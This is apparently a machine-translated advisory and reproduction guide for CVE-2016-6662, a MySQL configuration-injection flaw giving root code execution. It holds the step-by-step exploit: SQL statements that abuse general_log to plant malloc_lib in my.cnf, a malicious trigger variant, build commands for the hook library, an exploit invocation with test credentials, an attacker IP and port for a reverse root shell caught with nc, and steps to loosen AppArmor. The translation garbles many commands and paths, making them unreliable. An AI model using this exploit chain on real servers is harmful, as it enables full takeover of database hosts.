As far as my current tests are concerned, this vulnerability has two reasons:
1. Use the default mysql installation method. The mysql User does not have the permission to access the configuration file/etc/mysql/my. cnf;
2. If selinux or apparmor is not disabled, an error will be reported when executing the exp script.
Legalhackers mentioned this vulnerability in the original article on the premise that many people configure permissions according to the wrong installation guide and change the user of the configuration file to mysql. However, it seems that the vulnerability discoverers still have several more serious mysql vulnerabilities and have not disclosed them.
I. VULNERABILITY
MySQL <= 5.7.15 remote code execution/permission escalation (0 day)
5.6.33
5.5.52
Cloning mysql is also affected, including:
MariaDB PerconaDB
II. INTRODUCTION
An independent research organization found multiple serious Mysql vulnerabilities, this bulletin is one of the more serious vulnerability CVE-2016-6662, it allows attackers to remotely inject malicious settings to the Mysql configuration file (my. cnf), leading to more serious consequences.
This vulnerability affects all default Mysql version branches (5.7, 5.6, and 5.5), including the latest versions, and may be exploited locally or remotely by attackers. Exp can be remotely Elevation of Privilege through network connection, web management tools like phpmyadmin, and SQL injection vulnerabilities.
SQL injection vulnerability is one of the most common vulnerabilities in web applications, in the presence of injection vulnerabilities, attackers can cooperate with CVE-2016-6662 for more in-depth intrusion. If the affected mysql version is running on the attacked server, attackers can execute arbitrary code as root to completely control the attacked server.
Currently, no patches have been provided for this vulnerability. Even if SELinux security mode is enabled on the server, the vulnerability Exp will be affected. The bulletin is followed by a Poc to demonstrate how attackers can execute code remotely.
III. DESCRIPTION
The default Mysql installation package comes with the mysql_safe script, which can be observed after the mysql server is started. For example, mysql is fully updated.
Debian system:
Root @ debian :~ # Lsb_release-
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.5 (jessie)
Release: 8.5
Codename: jessie
Root @ debian :~ # Dpkg-l | grep-I mysql-server
Ii mysql-server 5.5.50-0 + deb8u1
Ii mysql-server-5.5 5.5.50-0 + deb8u1
Ii mysql-server-core-5.5 5.5.50-0 + deb8u1
Run the following command to start Mysql (use the software package provided by the default Debian repository)
Root @ debian :~ # Service mysql start
Or use the following method to start:
Root @ debian :~ #/Etc/init. d/mysql start
The Mysql service process tree looks as follows:
Root 14967 0.0 0.1 4340 1588? S/bin/sh/usr/bin/mysqld_safe
Mysql 15314 1.2 4.7 558160 47736? Sl/usr/sbin/mysqld -- basedir =/usr -- datadir =/var/lib/mysql -- plugin-dir =/usr/lib/mysql/plugin -- user = mysql -- log-error =/var/log/mysql/error. log -- pid-file =/var/run/mysqld. pid -- socket =/var/run/mysqld. sock -- ports = 3306
It can be seen that the mysqld_safe encapsulation script is started with the root permission, and the main mysqld process is started with a mysql User with lower permissions.
The mysqld_safe encapsulation script has the following functions:
?
---- [/Usr/bin/mysqld_safe] ----
[...]
# Set_malloc_lib
#-If LIB is empty, do nothing and return
#-If LIB is 'tcmalloc ', look for tcmalloc shared library in/usr/lib
# Then pkglibdir. tcmalloc is part of the Google perftools project.
#-If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# Running mysqld. See ld. so for details.
Set_malloc_lib (){
Malloc_lib = "$1"
If ["$ malloc_lib" = tcmalloc]; then
Pkglibdir = 'get _ mysql_config -- variable = pkglibdir'
Malloc_lib =
# This list is kept intentionally simple. Simply set -- malloc-lib
# To a full path if another location is desired.
For libdir in/usr/lib "$ pkglibdir" "$ pkglibdir/mysql"; do
For flavor in _ minimal ''_ and_profiler _ debug; do
Tmp = "$ libdir/libtcmalloc $ flavor. so"
# Log_notice "DEBUG: Checking for malloc lib '$ tmp '"
[-R "$ tmp"] | continue
Malloc_lib = "$ tmp"
Break 2
Done
Done
[...]
---------- [Eof] ---------------
It can be used to load the shared library before starting the service. The library file can be set through the following parameters:
-Malloc-lib = LIB
This parameter can also be specified in the mysqld configuration file (in my. cnf), in the [mysqld] or [mysqld_safe] section.
If attackers can insert malicious library file paths into the configuration file, they can load arbitrary libraries. When the mysql service is restarted (manual, system update package update, system restart, etc, attackers can execute arbitrary code as root.
A mysql version earlier than mysql 3.23.55 released on June 23, 2003 allows attackers to create a mysql configuration file using a simple statement:
SELECT * info outfile '/var/lib/mysql/my. cnf'
This vulnerability has been fixed in mysql 3.23.55. By default, files created using outfile query cannot overwrite existing files, which can protect existing configuration files. Writing configuration files is impossible.
However, POC proves that it is possible to use Mysql's log function (mysql installed by default) to bypass the current restrictions and achieve the following goals:
1. Inject a malicious configuration file into the existing mysql configuration file, provided that the configuration file permission is improperly configured, the configuration file owner is a mysql User, and the mysql User has the write permission for the configuration file;
2. Create a configuration file in the mysql data directory. If mysql is installed by default, mysql users have the write permission for this directory by default, so you do not need to rely on improper permission configuration;
3. With mysql installed by default, attackers can access the log function only with the file permission of select query (this function is generally only provided to mysql management users ), therefore, attackers can add and modify configuration files in the data directory.
IV. PROOF OF CONCEPT
1. Inject malicious configuration to the mysql configuration file using incorrect permission configuration (mysql User to which the configuration file belongs, and mysql user to have write permission;
When the mysqld_safe script is executed, the mysql configuration file loads and processes the database files one by one from all supported locations. The exact location of the configuration file depends on the mysql version. Example: http://dev.mysql.com/doc/refman/5.5/en/option-files.html
The configuration location of mysql5.5 includes:
/Etc/my. cnf global configuration
/Etc/mysql/my. cnf global configuration
SYSCONFDIR/my. cnf global configuration
$ MYSQL_HOME/my. cnf service-specific configuration
Additional files by default ~ /My. cnf, use the-defaults-extra-file parameter to specify the user-specific configuration.
A common misunderstanding is that a mysql user must have the permissions of the mysql configuration file to make the service work normally. If many installation guides or even security guides are often incorrect, we recommend that you grant the mysql User the permission to the mysql configuration file or directory. For example:
Https://github.com/willfong/mariadb-backup/blob/master/README.md
Mentioned:
Run the following command to set the configuration file permissions:
Chown mysql/etc/my. cnf
Chmod 600/etc/my. cnf"
As mentioned in the following article:
Http://www.devshed.com/c/a/mysql/security-issues-with-mysql/
"You should protect the global configuration file/etc/my. cnf: If the file exists, it should belong to the mysql User, and the mysql user must have the read and write permissions, but other users only need the read-only permission ".
Shell> chown mysql/etc/my. cnf"
If a mysql User has the permission to access the mysql configuration file, attackers can add malicious configuration items as follows:
Root @ debian :~ /# Ls-l/etc/my. cnf
-Rw-r-1 mysql 72 Jul 28 :20/etc/my. cnf
Root @ debian :~ /# Cat/etc/my. cnf
[Mysqld]
Key_buffer = 16 M
Max_allowed_packet = 16 M
Attackers can run the following SQL query:
Mysql> set global general_log_file = '/etc/my. cnf ';
Mysql> set global general_log = on;
Mysql> Select'
'>
'>; Injected config entry
'>
'> [Mysqld]
'> Malloc_lib =/tmp/mysql_exploit_lib.so
'>
'> [Separator]
'>
'> ';
1 row in set (0.00 sec)
Mysql> set global general_log = off;
The configuration file will add the following parts:
Root @ debian :~ /# Cat/etc/my. cnf
[Mysqld]
Key_buffer = 16 M
Max_allowed_packet = 16 M
/Usr/sbin/mysqld, Version: 5.5.50-0 + deb8u1 (Debian). started:
Tcp port: 3306 Unix socket:/var/run/mysqld. sock
Time Id Command Argument
160728 17:25:14 40 Query select'
; Injected config entry
[Mysqld]
Malloc_lib =/tmp/mysql_exploit_lib.so
[Separator]
'
160728 17:25:15 40 Query set global general_log = off
This configuration will cause mysql to fail to start because the file contains some junk content. However, the most important part is that the mysql configuration file contains the following parts:
[Mysqld]
Malloc_lib =/tmp/mysql_exploit_lib.so
Before the mysqld daemon starts, mysqld_safe correctly reads the path of the shared library and adds it to the LD_PRELOAD environment variable. Then, the pre-installed fopen () function processes and clears the configuration file before the mysqld daemon starts, so that mysql can start properly.
2. Create a configuration file in the mysql data directory. If mysql is installed by default, the mysql User has the write permission for this directory by default, so you do not need to rely on improper permission configuration.
The analysis of mysqld_safe script shows that in addition to the configuration file location mentioned above, in mysql 5.6 and, mysqld_safe also uses the mysql data directory (/var/lib/mysql/my. cnf) load the configuration file as follows:
---- [/Usr/bin/mysqld_safe] ----
[...]
# Try where the binary installput it
If test-d $ MY_BASEDIR_VERSION/data/mysql
Then
DATADIR = $ MY_BASEDIR_VERSION/data
If test-z "$ defaults"-a-r "$ DATADIR/my. cnf"
Then
Defaults = "-- defaults-extra-file = $ DATADIR/my. cnf"
Fi
[...]
---------- [Eof] ---------------
This feature was removed from mysql 5.7. However, in many incorrect configurations, the configuration file is loaded from the following locations:
/Var/lib/mysql/. my. cnf
Mysql users have the write permission for the mysql data directory (/var/lib/mysql:
Root @ debian :~ # Ls-ld/var/lib/mysql/
Drwx -- 4 mysql 4096 Jul 28/var/lib/mysql/
Therefore, if there is no configuration file for the mysql User, attackers may still be able to use this vulnerability to create a configuration file in the following locations:
/Var/lib/mysql/my. cnf
/Var/lib/mysql/. my. cnf
As mentioned above, use the file permission to create such a file:
SELECT 'malicious configuration content' INTO outfile'/var/lib/mysql/my. cnf'
This method does not work, because the file permission created in this way is as follows:
-Rw-1 mysql 4 Jul 28 07:46/var/lib/mysql/my. cnf
Mysql will block all writable configurations at startup, but attackers can exploit this vulnerability to bypass this restriction:
Mysql> set global general_log_file = '/var/lib/mysql/my. cnf ';
Mysql> set global general_log = on;
Mysql> Select'
'>
'>; Injected config entry
'>
'> [Mysqld]
'> Malloc_lib =/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [Separator]
'>
'> ';
1 row in set (0.00 sec)
Mysql> set global general_log = off;
The preceding SQL statement creates a configuration file with the required permissions (the other user does not have the read and write permissions) that can be parsed by the mysql daemon:
# Ls-l/var/lib/mysql/my. cnf
-Rw -- 1 mysql 352 Jul 28/var/lib/mysql/my. cnf
The file contains the following content:
# Cat/var/lib/mysql/my. cnf
/Usr/sbin/mysqld, Version: 5.5.50-0 + deb8u1 (Debian). started:
Tcp port: 3306 Unix socket:/var/run/mysqld. sock
Time Id Command Argument
160728 17:48:22 43 Query Select'
; Injected config entry
[Mysqld]
Malloc_lib =/var/lib/mysql/mysql_hookandroot_lib.so
[Separator]
'
160728 17:48:23 43 Query set global general_log = off
However, there is still a problem. mysql will start to report an error because the configuration file contains too much junk content and the following error will be reported:
Error: Found option without preceding group in config file:/var/lib/mysql/my. cnf at line: 1 Fatal error in defaults handling. Program aborted
However, an in-depth test proves that this security restriction can be bypassed to cause errors.
It is worth noting that the reporting of cve-2016-6662 vulnerabilities can easily create any content of/var/lib/mysql/my using other vulnerabilities. the cnf configuration file does not require the file permission, but the reporter did not disclose other vulnerabilities.
3. With mysql installed by default, attackers can access the log function only with the file permission of select query (this function is generally only provided to mysql management users ), therefore, attackers can add and modify configuration files here.
If the attacker does not have the management permission to access the log function, and only has the standard user permission and other file permissions, the attacker can still write and modify the configuration file, you can use a malicious trigger:
Create definer = 'root' @ 'localhost' TRIGGER appendToConf
AFTER INSERT
ON 'active _ table' FOR EACH ROW
BEGIN
DECLARE void varchar (550 );
Set global general_log_file = '/var/lib/mysql/my. cnf ';
Set global general_log = on;
Select"
[Mysqld]
Malloc_lib = '/var/lib/mysql/mysql_hookandroot_lib.so'
"INTO void;
Set global general_log = off;
END;
Create a trigger using similar statements
SELECT '.... Trigger_code... 'Into DUMPFILE/var/lib/mysql/activedb/active_table.trg'
When the table is refreshed, a trigger is executed. For example, you can use insert to refresh the table:
Insert into 'active _ table' VALUES ('XYZ ');
The trigger code is executed with the mysql root permission, allowing attackers to modify the general_log settings even if the attacker does not have the database administrator permission.
V. proof of concept-0day
The. c file 0ldSQLMySQLRCEexploit. py is the content of the shared library to be injected. For details about the. c file code, refer to articles written by foreigners. When the mysqld daemon is started, mysqld_safe loads the malicious shared library, actively connects to Port 6033 listened by remote attackers, and returns a root shell to attackers.
The python script first creates and modifies the mysql configuration file and adds the following content:
[Mysqld]
Malloclib = mysqlhookandroot_lib.so
Then, when mysqld is started, mysqld_safe will load. so file malicious content, and then. the execvp () function in the so file first clears the junk content inserted in the mysql configuration file and only keeps the [mysqld] field to ensure that the mysqld service can be started normally, then a shell with the root permission will be rebounded to the attacker. When using this file, you need to adjust the IP address and port of the receiving shell and the configuration path.
Use the following command to compile:
Gcc-Wall-fPIC-shared-o mysql_hookandroot_lib.so mysql_hookandroot_lib.c-ldl
Recurrence test process:
1. Create a database for testing and the account and permissions of the testing user, as shown below:
Create database pocdb;
Grant file on *. * TO 'attacker' @ '%' identified by 'p0cpass! ';
Grant select, INSERT, create on 'pocdb'. * TO 'attacker' @ '% ';
2. Change the user of the existing mysql configuration file to a mysql User as follows:
# Chown mysql: mysql/etc/mysql/my. cnf
# Ls-l/etc/mysql/my. cnf
-Rw-r -- 1 mysql 3534 Sep 11/etc/mysql/my. cnf
3. Run the exp with the attacker user and restart the mysql service after running. First, enter your library path in the. c file, and then run the. py script. For example:
?
1
Attacker $./0ldSQL_MySQL_RCE_exploit.py-dbuser attacker-dbpass 'p0cpass! '-Dbhost 192.168.1.10-dbname pocdb-mycnf/etc/mysql/my. cnf
4. Then, use nc to listen to Port 6033 on the server that receives the bounce shell to receive the bounce shell.
For more information about exp and the library file code used, see the broadcast or foreign articles. The detailed reproduction process and method are attached below, which were tested in ubuntu 14.04.
1. Install mysql-server and mysql-client
Sudo apt-get install mysql-server mysql-client
2. Install gcc
Sudo apt-get install build-essential
3. Install mysql connector used in the exp script. Download address
Http://cdn.mysql.com//Downloads/Connector-Python/mysql-connector-python1.2.3-1ubuntu12.04all.deb
4. Create a database for testing, as well as accounts and permissions required
Mysql> create database pocdb;
Query OK, 1 row affected (0.00 sec)
Mysql> grant file on *. * to 'attacker' @ '%' identified by 'hello123 ';
Query OK, 0 rows affected (0.00 sec)
Mysql> grant select, INSERT, create on 'pocdb'. * TO 'attacker' @ '% ';
Query OK, 0 rows affected (0.00 sec)
Note that the database name in the preceding section is enclosed in reverse quotation marks.
5. Compile the mysqlhookandrootlib. c File. Before compilation, modify the content as follows:
# Define ATTACKERS_IP "182.92.100.1"
# Define SHELL_PORT 1234
# Define INJECTED_CONF "/etc/mysql/my. cnf"
The IP address and port are another server to be listened to. After executing exp, the attacked server will take the initiative to redirect a shell with the root permission to the above IP address and port.
My. cnf is the default location of the configuration file in my test environment.
Compile Command:
Gcc-Wall-fPIC-shared-o mysql_hookandroot_lib.so mysql_hookandroot_lib.c-ldl
6. Modify the user and group of/etc/mysql/my. cnf.
Chown mysql: mysql/etc/mysql. cnf
7. The only chicken ribs are related to apparmor configuration of ubuntu. Otherwise, error 6 will be reported during exp execution and a prompt will be displayed.
ERROR 29 (HY000): File '/etc/mysql/my. cnf' not found (Errcode: 13)
If centos is used, selinux must be disabled. However, if the vulnerability is not disabled, selinux can also be used. This may be because the description is incorrect.
Modification method:
Sudo vi/etc/apparmor. d/usr. sbin. mysqld
As shown in the following figure: